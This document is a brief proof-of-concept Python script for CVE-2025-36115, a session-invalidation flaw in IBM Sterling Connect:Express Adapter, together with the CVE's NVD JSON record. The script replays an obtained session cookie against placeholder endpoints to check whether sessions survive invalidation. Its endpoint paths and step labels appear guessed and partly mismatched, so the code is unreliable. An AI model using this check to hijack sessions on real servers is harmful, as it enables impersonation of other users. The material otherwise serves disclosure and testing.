CVE-2025-36115

# CVE-2025-36115 PoC - Session Hijacking # Target: IBM Sterling Connect:Express Adapter # Affected Versions: 5.2.0.00 - 5.2.0.12 import requests import sys TARGET_URL = "https://target-ibm-server:8443" SESSION_ENDPOINT = "/SterlingConnectExpress/session" ATTACKER_SESSION = "attacker_obtained_session_id" def check_session_invalidation(): """ Check if session ID remains valid after use """ headers = { "Cookie": f"JSESSIONID={ATTACKER_SESSION}", "Content-Type": "application/json" } # Step 1: Verify session is active response1 = requests.get( f"{TARGET_URL}{SESSION_ENDPOINT}/status", headers=headers, verify=False, timeout=30 ) if response1.status_code == 200: print("[+] Session is active - vulnerability may be present") # Step 2: Simulate legitimate user operations requests.post( f"{TARGET_URL}{SESSION_ENDPOINT}/invalidate", headers=headers, verify=False ) # Step 3: Check if session is still accessible response2 = requests.get( f"{TARGET_URL}{SESSION_ENDPOINT}/status", headers=headers, verify=False ) if response2.status_code == 200: print("[!] VULNERABLE: Session not invalidated after use") print("[!] Attacker can hijack this session") return True else: print("[-] Session properly invalidated - not vulnerable") return False return False if __name__ == "__main__": print("CVE-2025-36115 Session Hijacking Test") print("=" * 50) check_session_invalidation()

{"cve": {"id": "CVE-2025-36115", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.703", "lastModified": "2026-02-03T21:56:33.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0.00 through 5.2.0.12 does not disallow the session id after use which could allow an authenticated user to impersonate another user on the system."}, {"lang": "es", "value": "IBM Sterling Connect:Express Adapter para Sterling B2B Integrator 5.2.0.00 hasta 5.2.0.12 no invalida el ID de sesión después de su uso, lo que podría permitir a un usuario autenticado suplantar la identidad de otro usuario en el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_connect\\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0.00", "versionEndExcluding": "5.2.0.13", "matchCriteriaId": "9FAC986A-388C-48CB-9717-817B108C98F7"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257244", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}